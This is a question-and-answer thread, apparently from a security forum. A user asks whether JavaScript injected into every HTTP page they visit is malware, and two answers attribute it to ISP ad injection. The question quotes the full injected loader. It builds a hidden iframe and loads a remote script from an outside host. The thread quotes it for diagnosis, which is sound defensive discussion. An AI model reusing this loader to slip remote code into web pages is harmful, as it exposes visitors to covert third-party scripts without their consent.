Injected JavaScript Code

Question

Last month, I noticed that my site has an injected Javascript (by view-source). I asked my host about it and they say they've found a virus and have fixed it. However, the Javascript is still there - the support ticket is still open :(

Recently, I just discovered that all HTTP websites I visited has the same injected JS code. The JS code will only appear on HTTP, if the site has a HTTPS version no inserted code will appear.

Below is the inserted code. Is it a malware or some sort of security concern?

if (top == window) {
var layer8NameSpace = "layer8ns";
"undefined" == typeof window[layer8NameSpace] && (window[layer8NameSpace] = {}), window[layer8NameSpace].layer8Loader = function() {
    function e(e) {
        return "undefined" != typeof e && null !== e
    }

    function t() {
        var t = document.createElement("script");
        t.setAttribute("src", s), t.setAttribute("id", "fn_layer8_script"), t.setAttribute("async", ""), (null == document.head || e(document.head)) && (document.head = document.getElementsByTagName("head")[0]), document.head.appendChild(t)
    }

    function n() {
        var t = r();
        if (e(t)) {
            var n = t;
            i() && (n = d(t));
            var o;
            try {
                o = document.documentElement, o.appendChild(n)
            } catch (c) {
                o = document.body, o.appendChild(n)
            }
            a()
        }
    }

    function a() {
        function e(e) {
            var n = e.data;
            "l8IframeIsReady" === n.message && t()
        }
        window.addEventListener ? window.addEventListener("message", e, !1) : window.attachEvent("onmessage", e)
    }

    function r() {
        var t = document.createElement("iframe");
        if (e(t)) {
            t.setAttribute("id", "fn_layer8"), t.setAttribute("src", u), t.setAttribute("target", "_blank"), t.setAttribute("frameborder", "0");
            var n = /firefox/i.exec(navigator.userAgent);
            e(n) && n.length > 0 ? (t.style.height = 0, t.style.width = 0) : t.style.display = "none", t.frameBorder = "no"
        }
        return t
    }

    function i() {
        var t = !1,
            n = /android (\d+)/i.exec(navigator.userAgent);
        return e(n) && n.length > 0 && (t = parseInt(n[1]) >= 4), t
    }

    function d(e) {
        var t = document.createElement("div");
        return t.setAttribute("id", "fn_wrapper_div"), t.style.position = "fixed", t.style.display = "none", t.ontouchstart = function() {
            return !0
        }, t.appendChild(e), t
    }

    function o() {
        var t = void 0,
            a = this,
            r = function() {
                e(t) && (window.clearTimeout(t), t = void 0, n.call(a))
            };
        t = window.setTimeout(r, 1e4), "function" == typeof window.addEventListener ? window.addEventListener("load", r, !1) : window.attachEvent("onload", r)
    }
    var c = "http://globe.moreforme.net",
        u = c + "/l8/Layer8Servlet",
        s = c + "/scripts/Anchor.js";
    o()
};
var layer8Loader = new window[layer8NameSpace].layer8Loader }

Answer 1

As @Arminius has pointed out, This is being injected by your ISP to generate revenue. So many similar cases are found as @user52472 explained.

But the solution to this issue is not a VPN (as it is just a workaround), I would suggest picking a better ISP and explaining your current ISP that this is a shady practice.

Answer 2

This is likely being injected into HTTP pages by your ISP. It does not appear to be malicious per se, but does appear to be advertising related Here's the link I found. I don't know that I would consider it more of a security concern than browsing to any other site using HTTP; while in this instance it's your ISP who is injecting content, a malicious attacker could do the same thing.

In order to prevent this from happening, your best bet would be to switch to an ISP who does not have such questionable behavior. If that's not possible, use a VPN.